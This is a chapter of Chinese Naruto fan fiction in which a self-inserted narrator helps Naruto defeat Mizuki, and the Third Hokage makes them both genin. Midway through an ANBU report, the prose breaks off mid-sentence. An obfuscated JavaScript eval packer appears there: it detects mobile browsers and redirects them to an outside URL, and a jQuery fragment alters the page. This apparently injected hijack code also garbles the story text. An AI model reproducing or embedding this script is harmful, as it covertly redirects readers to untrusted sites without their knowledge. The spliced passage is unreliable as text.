仿佛用尽了生命中最后一丝力气,伊鲁卡老师艰难地侧过头,对着鸣人,脸上努力挤出一个极其虚弱却温暖得足以融化万年寒冰的微笑。鲜血不断从他嘴角溢出,但他的眼神却异常明亮、清澈,充满了不容错辨的慈爱与骄傲。他用微弱到几乎听不见,却字字如同重锤敲在鸣人心上的声音说道: “鸣人……她……说得……对……” “我……怎么能……恨你呢……” “看着你……就像看到……当年那个……同样孤独……渴望被认可……渴望证明自己的……我啊……” “所以……我……只想……保护你……让你……不再……经历……那种痛苦……” “你……是我……最重要的……学生……” “是……我的……骄傲……” “伊鲁卡……老师……” 鸣人的声音沙哑破碎得不成样子,仿佛声带被砂纸磨过。积蓄了十二年的泪水,如同冲破堤坝的滔天洪流,汹涌而出,混合着脸上的血迹和泥土,滚烫地、沉重地砸落在冰冷的地面上。 那些被他刻意忽略、甚至误解的点滴关怀——训练后偷偷放在他桌上的饭团,恶作剧后替他向店主鞠躬道歉的卑微背影,考试失败时虽然严厉却藏着鼓励的眼神,拉面店里看着他狼吞虎咽时那抹无奈又宠溺的微笑……此刻如同温暖的潮水,带着无可辩驳的力量,彻底冲垮了水木精心构筑的谎言高墙!原来……一直被默默爱着……一直被无声地守护着…… “无聊透顶的煽情戏码!” 水木彻底失去了最后一丝耐心,眼中最后那点戏谑被纯粹的暴戾杀意取代 “都给我下地狱团聚去吧!” 他不再有任何犹豫,双手爆发出全部力量,巨大的风魔手里剑带着撕裂一切的恐怖威势和刺耳的尖啸,如同坠落的陨星,朝着倒地的伊鲁卡、挡在前面的我,以及我身后泪流满面、心神剧震的鸣人,狠狠劈斩而下!誓要将我们三人一同腰斩,彻底终结这场闹剧! 我拖着几乎失去知觉的伤腿,拼尽全力想向伊鲁卡老师挪去,哪怕用身体挡在他前面!死亡的阴影如同最厚重的幕布,瞬间笼罩!冰冷的锋刃激起的劲风已经刮得我脸颊生疼! “不准你伤害伊鲁卡老师——!!!” 就在这千钧一发、生死立判的绝命瞬间!一股无法用言语形容的、源于灵魂最深处的、名为守护的强烈情感,如同沉睡亿万年的火山般从鸣人心中轰然爆发! 所有的痛苦、迷茫、绝望、自我怀疑,都在伊鲁卡老师那温暖得令人心碎的眼神和话语中,在旁听生奋不顾身、遍体鳞伤也要挡在前面的身影中,转化成了最纯粹、最强大、足以撼动天地的力量!这股力量瞬间冲垮了他体内查克拉调动的所有桎梏! 他的双手,以一种超越本能、近乎神迹般的速度结印!那动作不再是平日练习时的笨拙生涩,而是带着一种行云流水般的韵律和穿透时空的意志!仿佛这结印的轨迹早已铭刻在他的血脉灵魂之中,只为此刻守护最重要的人而绽放! “分……身……之……术!” “嘭!嘭!嘭!嘭!嘭!嘭!嘭!!!!!!” 一连串密集到令人头皮炸裂、震耳欲聋、仿佛连空气都被撑爆的白烟爆炸声,如同天地间最盛大的礼炮,轰然响彻整片死亡森林!成百上千个——不,是成千上万个——金发蓝眸、身穿橙色运动服的漩涡鸣人,如同凭空涌现的金色怒涛,瞬间填满了林间每一寸空地!每一个都怒目圆睁,双拳紧握,脸上燃烧着滔天的怒火和无与伦比的守护意志! 那庞大到令人窒息的数量,那整齐划一、同仇敌忾所汇聚成的磅礴气势,形成了一股肉眼可见的、足以让天地变色、鬼神惊惧的精神洪流!瞬间将水木和他那柄巨大的风魔手里剑衬托得如同尘埃般渺小! “!!!” 我震惊地、难以置信地看向鸣人!本以为我的干预会打断他学习禁术,但我错了!他成功了!在守护的意志驱动下,他超越了极限! “什……什么鬼东西?!这不可能——!!!” 水木脸上的狞笑瞬间被无边的惊骇和深入骨髓的恐惧所取代!他的冲锋戛然而止,高举风魔手里剑的手臂僵在半空,如同被无形的寒冰冻住!看着眼前这如同神迹般涌现、铺天盖地的鸣人大军,他的大脑一片空白,只剩下最原始的、面对绝对力量碾压的恐惧! 这……这根本不是分身术!这是……禁术?!这个吊车尾……怎么可能?! “大家——!!” 站在最前方、本尊位置的鸣人,眼中燃烧着足以焚尽一切的怒火,用尽全身的力气,将所有的愤怒、守护的意志、被认可的渴望,凝聚成一声撕裂夜空的咆哮! “揍扁他——!!!” 成千上万个影分身齐声怒吼!那汇聚在一起的声浪如同实质的音波炮,震得大地都在颤抖!周围的树木疯狂摇曳,落叶如同暴雨般倾盆而下! 下一刻! 如同金色的灭世海啸轰然决堤!如同愤怒的神明降下天罚!成千上万个鸣人,带着排山倒海、毁天灭地般的气势,从四面八方、天上地下,如同狂暴的蜂群,又如同一支无坚不摧的钢铁洪流,以最原始、最直接、最暴力的方式——挥舞着拳头——朝着孤零零站在中央、早已吓傻的水木,发起了山崩地裂般的冲锋! “不——!!!这不可能——!!!” 水木只来得及发出一声绝望到变调的惨嚎,就被这愤怒的、金色的、由意志和羁绊铸就的海洋彻底吞没! “砰!砰!咚!啪!咔嚓!噗!啊——!!” 密集到令人头皮发麻、如同狂风暴雨般的□□撞击声、骨骼断裂声、树木被硬生生撞断的爆裂声、水木不成人形的凄厉惨叫声……各种恐怖的声音混杂在一起,形成一曲狂暴的交响乐,疯狂地蹂躏着这片森林!烟尘如同蘑菇云般冲天而起,遮蔽了月光,木屑、断枝、碎石如同子弹般四射飞溅!整个场面混乱、暴力、原始,却又带着一种令人血脉贲张的、守护的悲壮与力量的美感! 我瘫倒在地,身体上的剧痛似乎都在这震撼灵魂的景象前暂时麻木了。我瞪大了眼睛,看着眼前这如同神迹般的景象,心中充满了难以言喻的震撼和激动。这就是……鸣人真正的力量!这就是他为了保护最重要的人所爆发出的……影分身之海吧! 不知过了多久,仿佛一个世纪般漫长。狂暴的声浪和烟尘渐渐平息。 水木像一滩彻底被捣烂的肉泥般瘫倒在林间的空地上,浑身是血,骨头不知断了多少根,脸肿得如同猪头,翻着白眼,口吐白沫和血沫,身体只剩下无意识的抽搐。那柄巨大的风魔手里剑扭曲变形得像一团废铁,被随意丢弃在一旁,上面还沾着血迹和碎肉。 而所有的影分身,在完成了这惊天动地的一击后,“噗噗噗噗……” 如同退潮般化作一道道白色的烟雾,迅速消散在夜空中。原地只剩下大口喘着粗气、脸色苍白如纸、汗水浸透全身、身体因脱力而微微摇晃,但那双湛蓝眼眸却前所未有的明亮、坚定、充满了力量与新生光芒的鸣人本尊!他成功了!他用这震撼忍界的禁术,保护了他生命中最重要的人! “成……成功了……伊鲁卡老师……我……我保护……” 鸣人看着如同烂泥般的水木,又看向血泊中昏迷的伊鲁卡老师和我,激动得语无伦次,泪水再次不受控制地涌出,但这一次,是激动、是释然、是巨大的成就感! “做……做得……好……鸣人……咳咳……” 伊鲁卡老师在看见水木那一副惨样子后,终于舍得放松一下了,他靠在树桩旁,艰难地睁开一条缝,看着傲然站立的鸣人,脸上露出了一个极其虚弱却无比欣慰、无比自豪、仿佛此生无憾的笑容,他解开自己头上的护额,放在了鸣人的手上,那笑容,直达眼底……随即再次陷入深度昏迷。他的任务,他的守护,在这一刻,由他最重要的学生亲手接棒并完成了。 我挣扎着想爬起来,腿上的的剧痛让我一阵眩晕。 “你!你怎么样!” 鸣人赶紧踉跄着冲过来,想要扶我,却又看到我身体上上深嵌的手里剑和染血的衣袖,湛蓝的眼睛里充满了担忧和愧疚,“你……你为我……” “我没事!” 我咬着牙,挤出一个笑容 “快看看伊鲁卡老师!” 就在这时,森林中响起了密集如雨点般的脚步声和破空声!大批戴着动物面具、气息凌厉的暗部忍者,以及背着医疗箱、神情严肃的医疗班*成员,如同鬼魅般出现在战场周围! “立即封锁现场!最高警戒!” “医疗班!快!这里有两人重伤!优先处理伊鲁卡中忍!” “确认目标:叛忍水木!已丧失战斗力!拘捕!” “禁术卷轴!回收!检查封印是否完整!” 训练有素的暗部如同精密的机器般瞬间行动起来。两人如鹰隼般扑向昏迷的水木,用特制的查克拉锁链将其牢牢捆缚。另外几人则小心翼翼地接近地上的封印之书,仔细检查封印符文,确认无误后迅速回收。医疗班则分成两组,一组三人以最快的速度冲到伊鲁卡老师身边,动作麻利地进行初步检查、止血、注入急救药剂、稳定生命体征;另一组两人则迅速来到我身边,开始处理我手臂上的伤口。 “伤口较深,贯穿肌肉,未伤及主要血管和神经,但失血不少。需要立刻清创、缝合、固定。” 为我检查的医疗忍者语速飞快,动作却极其轻柔熟练,迅速给我注射了局部麻醉剂和止血针,开始处理伤口。冰冷的麻醉感暂时压下了剧痛。 看着医疗忍者专业而高效地处理着伊鲁卡老师那触目惊心的伤口,我和鸣人一直悬到嗓子眼的心,才稍稍回落了一些,但那份沉重的担忧依然挥之不去。 一位戴着狐狸面具、气息明显是队长的暗部走到我和鸣人面前,声音透过面具传出,冰冷而公式化,不带任何感情 “漩涡鸣人,旁听生。关于今晚发生的S级事件——叛忍水木袭击、禁书卷轴失窃未遂、伊鲁卡上忍重伤,三代目火影大人命令,即刻带你们前往火影办公室接受详细问询。不得延误。” 我和鸣人对视一眼,都看到了对方眼中的疲惫、后怕、对伊鲁卡老师的深切担忧,以及一丝面对未知的忐忑。我们没有反抗的资格和力量,默默地点了点头。鸣人看着被医疗忍者小心抬上担架、依旧昏迷不醒的伊鲁卡老师,拳头再次紧紧攥起。 ………… 火影办公室。 巨大的窗户隔绝了外界的黑暗,室内灯火通明,亮如白昼,却驱不散弥漫在空气中的凝重与肃穆。三代目火影端坐在宽大的办公桌后,烟斗中升起的袅袅青烟模糊了他布满皱纹却依旧锐利的双眼。几位木叶高层顾问和负责此事的暗部总队长肃立在一旁,空气中落针可闻。 我和鸣人并排站在办公室中央的地板上,显得渺小而狼狈。身上沾满了泥土、树叶、干涸的血迹(我手臂上缠着厚厚的绷带,固定在胸前,腿上的伤口也经过了简单包扎处理)。 长时间的精神紧绷、战斗、伤痛和巨大的情绪波动让我们看起来摇摇欲坠。鸣人低着头,双手紧握成拳,指节因用力而发白,身体微微颤抖,既有脱力后的虚弱,更有对伊鲁卡老师的无尽愧疚。我也努力挺直腰背,但失血和剧痛带来的眩晕感以及精神力的巨大消耗,让我的脸色苍白如纸,额头上布满了虚汗。 暗部总队长上前一步,声音低沉而清晰地开始汇报,每一个字都敲打在凝重的空气里 “……经现场勘查、证物回收及初步问询旁证(指我),事件过程还原如下:中忍水木,利用学员漩涡鸣人渴望毕业的心理,以谎言诱骗其于午夜潜入机密档案室,盗取封印之书。随后,水木于村外森林伏击鸣人,意图杀人夺书。其首次攻击,被及时赶到的旁听生以身体阻挡,导致旁听生左臂,大腿重伤,伊鲁卡中忍为保护两名学生,以身挡刀,后背遭受重创。其后,水木为动摇鸣人,恶意揭露其身为九尾之身份,并污蔑伊鲁卡中忍动机。在此过程中,旁听生出言反驳水木谎言,试图稳定鸣人情绪。水木恼羞成怒,动用风魔手里剑意图将三人一同斩杀。生死关头,漩涡鸣人情绪爆发,施展忍术‘分身之术’,以压倒性力量制服叛忍水木。我方抵达后,控制现场,回收封印之书(封印完整),拘捕水木(重伤昏迷),并救治伤员。伊鲁卡中忍伤势极重,贯穿伤伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575528|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及肺叶,失血过多,已紧急手术,目前尚未脱离危险期,但生命体征暂时稳定。汇报完毕。” 汇报结束,办公室陷入一片死寂。木叶高层眉头紧锁,看向鸣人的目光充满了审视和忧虑。三代的烟雾后,目光如同实质般扫过我和鸣人,最终停留在鸣人身上,那目光中蕴含着沉重的压力、审视,以及一丝深藏的疲惫。 “漩涡鸣人。” 三代的声音打破了沉寂,低沉、缓慢,每一个字都带着千钧之力 “未经许可,擅入机密重地,盗取封印之书——村中最高禁忌之物。此乃叛村重罪!你可知此物一旦失控,或落入敌手,将给木叶,给整个忍界带来何等灾祸?你可知你的行为,几乎将你自己、将伊鲁卡、将这位旁听生,甚至将整个村子都拖入万劫不复的深渊?!” 他的声音并不高亢,但那平静下蕴含的雷霆之怒,却让整个办公室的温度都仿佛下降了几分。 “对不起!火影爷爷!!” 鸣人猛地抬起头,泪水如同断了线的珠子滚滚落下,声音因极致的悔恨和愧疚而剧烈颤抖、沙哑不堪 “我……我真的不知道……水木老师说……只要学会一个术就能毕业……我……我太想毕业了……太想让大家认可我了……我没想到会害伊鲁卡老师……害旁听生她……我错了!我真的知道错了!求求您……救救伊鲁卡老师……所有的惩罚我都愿意接受……求求您……” 巨大的负罪感几乎将他压垮,他泣不成声,身体因哭泣而剧烈抽动。 看着鸣人痛苦崩溃的样子,强忍着大腿的疼痛和阵阵眩晕,我上前半步,声音清晰但带着虚弱地说道 “火影大人,各位顾问。鸣人他……确实犯下了大错。但他绝非出于恶意或背叛。他只是一个……太渴望得到认同、太想证明自己价值的孩子。水木利用了他这份纯粹却强烈的渴望,用精心编织的谎言和毕业的诱惑将他引入陷阱。鸣人他……根本不知道封印之书意味着什么,更不知道自己身世的真相被如此恶意利用。在最后关头,当他明白伊鲁卡老师的真心,明白自己需要守护什么时,他爆发出的力量,制服了叛忍,保护了我们。请……请给他一个机会。” 我的话点到为止,没有为鸣人开脱罪责,而是陈述事实,并强调了他在危机中的转变和守护行动。 三代抬手,示意我停下。他深邃的目光在鸣人身上停留了很久,那目光仿佛穿透了鸣人哭泣的表象,看到了他灵魂深处的痛苦、悔恨,以及那在绝境中爆发出的、如同金子般珍贵的守护意志。他长长地、沉重地叹了一口气,那叹息声中包含了太多复杂的情绪——对鸣人遭遇的痛心,对水木背叛的愤怒,对伊鲁卡牺牲的惋惜,以及对未来的忧虑。 “鸣人,” 三代的声音不再充满雷霆之怒,而是变得异常低沉、缓慢,带着一种穿透岁月和心灵的沉重力量 “渴望被他人认同,渴望证明自己存在的价值……这份心意本身,并没有错。它是驱动人前进的动力。” 他缓缓站起身,走到巨大的落地窗前,背对着我们,望着窗外依旧被夜色笼罩,但东方天际已隐隐透出一丝鱼肚白的木叶隐村。村中的灯火如同星辰般点缀在黑暗中,静谧而祥和。 “但是,” 他转过身,苍老却依旧锐利的目光如同火炬般照亮了鸣人泪眼朦胧的脸 “真正的力量,从来不是靠偷窃、靠欺骗、靠伤害他人得来的。” 他的声音不大,却如同洪钟大吕,清晰地回荡在每个人的心头: “真正的力量,是守护。” “是守护你想要守护的人——就像伊鲁卡,用他的生命挡在你身前!” “是守护你珍视的羁绊——就像这位旁听生,明知危险仍为你挡下攻击,在你迷茫时为你呐喊!” “是守护这个承载了无数人梦想、泪水、牺牲和希望的村子!” “伊鲁卡他,用他的鲜血和意志,为你上了成为忍者最重要的一课——何为责任,何为守护,何为真正的力量之源!” 三代的目光如炬,仿佛要烙印进鸣人的灵魂深处 “你,漩涡鸣人,告诉我,你明白了吗?!” 鸣人的身体剧烈地颤抖着,泪水如同开闸的洪水,汹涌不止。他抬起头,那双被泪水洗过的湛蓝眼眸,虽然红肿,却前所未有的清澈、明亮、充满了觉悟的光芒!他用力地、狠狠地点着头,每一个点头都仿佛用尽了全身的力气,声音哽咽却异常坚定 “我……我明白了!火影爷爷!我明白了!对不起……对不起伊鲁卡老师……对不起大家……我……我一定会……成为一个能守护大家的忍者!我发誓!!!” 看着鸣人眼中那蜕变般的觉悟光芒,三代布满皱纹的脸上,终于露出了一个极其疲惫却无比欣慰的笑容。那笑容中,饱含着对后辈的期许和信任。 三代的目光又转向我,眼神中带着审视,但更多的是一种赞许和认可 “旁听生,你卷入如此危险的事件,实属无妄之灾。但你今晚的表现……” 他顿了顿,目光扫过我固定在胸前、缠绕着厚厚绷带的手臂以及包扎的大腿,那里传来的阵阵钝痛时刻提醒着不久前那惊心动魄的一刻 “……在危机时刻展现出的无畏勇气,对同伴奋不顾身的守护,以及在鸣人迷失于黑暗时给予的关键指引与支持,都清晰地证明了你拥有一颗属于木叶忍者的赤诚之心。” 他拿起烟斗,深深吸了一口,缓缓吐出青烟,似乎在斟酌着词句 “伊鲁卡最新的伤势报告已经传来,” 三代的声音明显缓和了许多,带着一种尘埃落定的释然 “手术非常成功。虽然贯穿伤造成了大量失血和肺部挫伤,但万幸未伤及主要血管、神经和脊柱。医疗班使用了最好的医疗忍术和药物,目前生命体征已经稳定,只是极度虚弱,需要长时间的静养和恢复。这,是今晚这场灾难中,最大的幸运。” 听到“生命体征稳定”、“性命无碍”这几个字眼,我和鸣人一直紧绷到极限的神经,如同被骤然剪断的弓弦,瞬间松弛下来。一股巨大的、难以言喻的疲惫感混合着劫后余生的庆幸,如同潮水般席卷全身。 鸣人长长地、如释重负地舒了一口气,紧握的拳头终于松开,身体微微晃了一下,仿佛所有的力气都在这一刻被抽空,只剩下眼眶中再次蓄满的、滚烫的泪水。我也感到一阵强烈的眩晕袭来,左臂的疼痛似乎在这一刻变得格外清晰,但心头那块压得我喘不过气的巨石,终于被移开了。 伊鲁卡老师活下来了!这比什么都重要! 三代看着我们两人明显放松下来的神情,目光重新变得深邃而郑重,最终定格在鸣人身上。 “漩涡鸣人。” 三代的声音恢复了作为火影的威严,但其中蕴含的力量却不再是斥责,而是一种宣告。 “我以第三代火影的名义宣布——” “你,通过了忍者学校的毕业考核!” “什……什么?” 鸣人猛地抬起头,泪水还狼狈地挂在脸上,眼中充满了极度的震惊和难以置信,仿佛听到了世界上最不可能发生的奇迹。他的嘴巴微微张开,湛蓝的瞳孔剧烈地收缩着,仿佛无法理解这简单的几个字所代表的意义。毕业?通过?在这种时候?在他刚刚犯下盗取封印之书的重罪,害得伊鲁卡老师重伤垂死之后?巨大的冲击让他大脑一片空白,甚至忘记了呼吸。 三代没有理会鸣人的震惊,他走到宽大的办公桌前。桌面上,在堆积如山的卷宗旁,静静地躺着一个崭新的忍者护额。深蓝色的布料包裹着坚韧的皮革,中央镶嵌着象征木叶隐村的、如同燃烧火焰般的金属标志,在办公室明亮的灯光下,闪烁着冷冽而神圣的光泽。他拿起护额,转身,走到依旧处于石化状态的鸣人面前。 “鸣人,” 三代的声音低沉而缓慢,带着一种穿透岁月的厚重感和不容置疑的期许,他亲手将那个崭新的护额递向鸣人 “这个护额,代表着木叶隐村忍者的身份,更代表着守护村子的责任与信念。它不仅仅是对你今晚在绝境中展现出的力量和守护意志的认可……” 三代的目光如同火炬,灼灼地注视着鸣人那双因震惊和泪水而显得格外明亮的蓝眸: “……更是对你未来道路的信任与托付。记住伊鲁卡老师用鲜血为你上的这堂课——何为忍者,何为羁绊,何为真正的力量之源——*守护!记住你今天在火影办公室立下的誓言!从此刻起,握紧它,背负起这份责任,努力成为一个配得上这枚护额,配得上‘木叶忍者’之名的人吧!” 鸣人颤抖着,极其缓慢地伸出那双沾满了泥土、干涸血迹和汗水的双手。他的手在剧烈地颤抖,仿佛那枚小小的护额重若千钧。他小心翼翼地、如同捧着一件易碎的稀世珍宝,又像是抓住了溺水时唯一的浮木,用指尖轻轻触碰那冰冷的金属,然后才猛地紧紧攥住!当那象征着木叶忍者的冰凉金属和坚韧布料真实地贴合在掌心时,一股难以言喻的、滚烫的洪流瞬间从心脏炸开,席卷四肢百骸! 这不是梦!这是真的!他,漩涡鸣人,这个万年吊车尾,这个被所有人嘲笑厌恶的“怪物”,终于……终于得到了认可!终于成为了……忍者! “呜……哇啊啊啊——!!!” 压抑了太久太久的情绪,如同被点燃的火药桶,轰然爆发!鸣人再也无法控制,他紧紧攥着护额,将它死死地按在胸口,仿佛要将其烙印进心脏!他像个受尽了委屈终于找到依靠的孩子,放声痛哭!哭声嘶哑、洪亮、充满了无尽的激动、释然、狂喜,还有对伊鲁卡老师深深的愧疚与感激!泪水如同决堤的江河,汹涌而出,冲刷着他脸上的污垢和血痕。他哭得浑身颤抖,哭得几乎喘不上气,但那哭声,却充满了新生的力量!他终于不再是孤身一人!他终于踏上了梦想的起点! 整个火影办公室都回荡着鸣人那惊天动地的哭声。木叶顾问眉头紧锁,似乎想说什么,但看着三代那平静而坚定的侧脸,最终还是选择了沉默。暗部总队长如同雕像般肃立,面具后的眼神毫无波澜。 三代静静地看着痛哭失声的鸣人,布满皱纹的脸上,那抹欣慰的笑容更深了。他没有催促,没有打断,只是默默地抽着烟斗,任由这饱含了十几年辛酸与渴望的泪水尽情宣泄。这泪水,是洗净过去阴霾的甘霖,也是浇灌未来希望的种子。 良久,当鸣人的哭声渐渐转为压抑的抽泣,情绪稍稍平复,只是依旧紧紧攥着护额,仿佛那是他生命的一部分时,三代的目光终于转向了我。 “旁听生。” 三代的语气平和而郑重。 我立刻挺直腰背(尽管大腿的疼痛让我动作有些僵硬),恭敬地应道 “是,火影大人。” “你的情况,较为特殊。” 三代缓缓说道,目光锐利而深邃 “你并非忍者学校正式注册的学生,而是以‘旁听生’的身份,经由特别许可进行毕业考试的……你本不具备参加毕业考核的资格。” 我的心微微提了起来。虽然知道自己的身份尴尬,但亲耳听到,还是有些忐忑。鸣人也止住了抽泣,紧张地看着我。 “然而,” 三代话锋一转,声音带着一种不容置疑的威严 “今晚的事件,已经远远超出了‘旁听’的范畴。你主动介入,并在其中扮演了关键的角色——以身体为盾,保护同伴;以言语为剑,对抗谎言,稳定人心。你的勇气、智慧和对同伴的忠诚,在生死考验面前,展现得淋漓尽致。” 他的目光扫过我手臂的绷带,继续说道 “这份在危难时刻迸发出的光芒,这份不惜自身也要守护他人的意志,正是忍者最核心的精神所在。它比任何形式的笔试或忍术考核,都更能证明一个人是否具备成为木叶忍者的资格与觉悟。” 三代停顿了一下,仿佛在做一个重要的决断。办公室的空气再次变得凝重。 “因此,基于你在此次事件中的卓越表现和所展现出的忍者精神,以及考虑到你之前提交的、渴望正式成为忍者的意愿……” 三代的声音清晰而洪亮,如同最终的宣判: “我以第三代火影之名,特此批准你——旁听生——拥有木叶隐村下忍忍者的资格!” “?!” 我猛地抬起头,眼中充满了震惊和难以置信的狂喜!我……我真的成为一名忍者了?! “谢……谢谢火影大人!我一定会全力以赴!” 我强压住内心的激动,声音带着微微的颤抖,但眼神却无比坚定地回望着三代。无论最后如何,为了伊鲁卡老师的期望,为了鸣人这个同伴,也为了我自己,我都要拼尽全力! “很好。” 三代微微颔首,对我的态度表示认可。他重新拿起烟斗,目光转向窗外。 东方天际,那抹鱼肚白已经扩散开来,染上了一层淡淡的、充满生机的金红色。黎明的曙光,正努力地撕裂沉重的夜幕,将柔和的光线洒向沉睡中的木叶隐村。屋顶的瓦片、街道的轮廓、远处影岩的轮廓,都在这晨光中逐渐清晰。新的一天,即将开始。 三代望着这片在晨光中渐渐苏醒、沐浴在希望之中的村子,布满皱纹的脸上露出了一个极其疲惫,却又无比欣慰和充满希望的笑容。他深深吸了一口烟斗,缓缓吐出青烟,那烟雾在金色的晨曦中袅袅飘散。 “木叶飞舞之处,火亦生生不息……” 他低沉而充满力量的声音,仿佛古老的箴言,在寂静的办公室中回荡,也深深烙印在我和鸣人的心中。 “去吧,孩子们。带着你们获得的认可,带着你们背负的责任,带着你们想要守护的信念……” “属于你们的,全新的忍者之路……” “就在这朝阳升起的时刻——” “正式开始了!” 我和鸣人紧紧握着各自生命中最重要的东西——鸣人攥着那枚崭新的、象征着认可与责任的木叶护额,如同攥着自己的心脏;而我,则将那份来之不易的忍者资格,以及心中燃烧的斗志,牢牢刻印在灵魂深处。 我们相视一眼,在对方红肿却无比明亮、充满了坚定信念的眼眸中,都看到了彼此的身影,看到了那份在血与火、泪与痛中淬炼而成的、坚不可摧的同伴羁绊。 昨夜的血腥、背叛、痛苦、绝望、挣扎与爆发,如同沉重的帷幕缓缓落下。而此刻,在火影办公室明亮的灯光与窗外初升朝阳的金辉交织下,一条充满未知挑战、却也闪耀着无限可能的崭新道路,就在我们脚下延伸开来。 我们并肩而立,伤痕累累,却脊梁挺直,目光如炬。 新的征程,开始了…… 9. 『愚人』 消毒水的刺鼻气味顽固地钻进鼻腔,宣告着身体的虚弱。左臂和大腿传来的阵阵钝痛,如同蛰伏的野兽苏醒,不断撕咬着神经,提醒着森林里那场惨烈的遭遇。阳光透过百叶窗的缝隙,在地板上切割出明暗交错的条纹。我试着动了动手指——还好,能动。只是左臂被厚厚的绷带和夹板禁锢着,大腿的伤口也裹得严严实实,每一次微小的挪动都牵扯着脆弱的痛觉神经。 万幸的是,伊鲁卡老师也脱离了危险期,虽然需要漫长的静养。至于鸣人那小子……想到他,我不由得无奈地牵了牵嘴角。除了腿上有点淤青的皮外伤,他简直活蹦乱跳得跟没事人一样。压在心头最沉重的那块石头终于挪开了——伊鲁卡老师平安无事,鸣人也如愿以偿地掌握了影分身之术。一切,似乎都回到了“正常”的轨道。 就在这时,“砰”的一声巨响,门被粗暴地撞开! “喂——!你看你看!” 鸣人像一团燃烧的橙色旋风席卷进来,脸上是无法抑制、几乎要满溢出来的狂喜。他额头上,那枚崭新的木叶护额在阳光下闪烁着耀眼的金属光泽。他指着护额,湛蓝的眼眸亮得惊人,声音洪亮得几乎要掀翻屋顶 “我们真的成为忍者了!看到了吗?!我的护额!还有你的!” 他兴奋地指向床头柜。 如果我能从那过于惹眼的“妆容”上挪开视线的话…… 床头柜上,安静地躺着一枚同样崭新的木叶护额,旁边还有一份文件。我伸手拿起文件,“木叶村下忍登记表”的字样清晰可见,姓名栏暂时空缺,下方是一个手写的忍者编号。一股混杂着不真实感的暖流涌上心头。我真的……不再是那个“旁听生”了。 “恭喜你,鸣人。” 我由衷地笑了,虽然牵动伤口带来一丝抽痛 “但这只是开始。” 我指了指他额头的护额,又看向自己那份 “真正的考验,拿到这个之后才算开始。” 成为忍者的路,意味着责任、守护,以及前路未知的荆棘。鸣人愣了一下,随即用力点头,笑容依旧灿烂,但眼神里多了一丝难得的认真 “我知道!不管什么考验,我都一定会通过!” “所以,” 我话锋一转 “能先把你这‘超帅’的妆卸掉吗?” “诶——为什么!” 他立刻跳脚 “明明超帅的啊!” “顶着这样的妆,肯定没办法通过登记拍照的吧!” 我反驳道,无奈中带着点好笑。剧情里他就没通过,不如趁早让他卸掉好好拍一张。 “我画了好久的说……” 鸣人小声嘟囔,有点委屈。 “好了好了,” 我放缓语气 “你也不想将来当上火影后,被村里的孩子们翻出你当初是顶着这样的‘帅脸’登记的吧?那绝对会被嘲笑一辈子的。要是让佐助看见了……” “那我去卸掉!” 鸣人瞬间改口,身影“嗖”地消失在门外。 …… 在我的“干预”下,鸣人最终拍了一张比原剧情里稍微“正常”一点的照片——虽然也只是从小鬼的搞怪变成了小鬼的耍帅。 轮到我时,我忍着痛坐直身体,努力摆出证件照该有的端正。拍完,鸣人立刻凑过来嘲笑 “太正经啦!像个老古板!” “你就酷吧,” 我反唇相讥 “等会儿发现照片不行又要重拍,别哭鼻子。” “喂喂!不要说这种话啊!” 鸣人立刻炸毛,一脸紧张。 果然,还是被三代火影大人叫去了办公室……看来在鸣人心里,我的“乌鸦嘴”标签是彻底贴牢了。回去的路上,鸣人小心翼翼地搀扶着我,生怕我的伤势加重,但显然还为我刚才的“预言”耿耿于怀,情绪有点蔫蔫的。 我忍不住逗他 “你看,我就说吧?” 鸣人恼火地瞪了我一眼,碍于我是伤员又不好发作,只能偷偷地在我没受伤的胳膊上掐了一把报复。 “嗷!” 我痛呼一声,瞪着他。 他却得意地吐了吐舌头,眼神里分明写着——报复成功! …… 教室里,三代火影果然指出了鸣人照片动作的问题,要求重拍。鸣人多多少少不高兴,辛辛苦苦化了三小时的妆都卸了,现在又因为动作要重拍?他脸上写满了不服气。就在双方眼神几乎要擦出火星的瞬间,鸣人发动了绝招——『色诱之术』! 我立刻捂住眼睛,非礼勿视。可怜的三代火影大人就没那么好运了,鼻血喷涌,“咚”地一声栽倒在地。 鸣人解除忍术,叉着腰得意洋洋 “嘿嘿,看我的厉害!” 我闭着眼,精准地给了他脑袋一记栗暴。火影大人狼狈地爬起来,用手帕擦着鼻血,嘴上说着“无聊的忍术”,但语气里的无奈显而易见。 “这本忍者登录册,保密性极强,关乎你未来的身份和任务,非常重要。” 火影大人语重心长地解释重拍的原因。 “哈——我又不知道……” 鸣人挠着头,一脸茫然。 这种事情用脚趾头想都很重要啊!我在心里翻了个白眼。 …… 办公室的门突然被推开,一个比我和鸣人还小的孩子——木叶丸——喊着 “看招!第五代火影是我的了!” 举着苦无冲进来。可惜帅不过三秒,他脚下一个趔趄,“啪叽”摔了个结结实实。 木叶丸哼哼唧唧地爬起来,他的家庭教师惠比寿出现在门口,推了推黑色眼镜,锐利的目光扫过我和鸣人,从喉咙里发出一声几不可闻的轻蔑冷哼。 捂着头的小木叶丸看向我们,气急败坏地冲过来 “是不是你们搞的鬼?!” “哈?明明是你自己摔倒的吧?!” 鸣人一把揪起木叶丸的衣领,被冤枉的怒火和被对方菜而不自知的不理解同时爆发。 “这可是三代火影大人的孙子!” 惠比寿立刻高声强调,语气里的优越感让人极度不适。 “你动手啊!反正不敢打我吧!” 木叶丸仗着身份,有恃无恐地挑衅。惠比寿那句“火影大人的孙子”更是火上浇油,连我都觉得不爽了,鸣人更是直接爆炸——管你是谁?照打不误! 一个暴栗狠狠敲在木叶丸头上。小家伙“哎哟”一声,身体失去平衡向后倒去。我下意识地想扶住他,毕竟是小孩子,摔狠了不好。但这一动,大腿外侧的伤口猛地撕裂开来! “嘶——!” 我倒抽一口冷气,剧痛瞬间攫住了我。虽然勉强接到了木叶丸,却无力支撑,只能让他屁股着地,避免了脸着地的惨剧。冷汗瞬间从额角渗出,好在伤势恢复了些日子,疼痛尚在可忍范围。 鸣人急忙过来搀扶我,看到我因疼痛而颤抖的大腿,对坐在地上的木叶丸更是厌恶 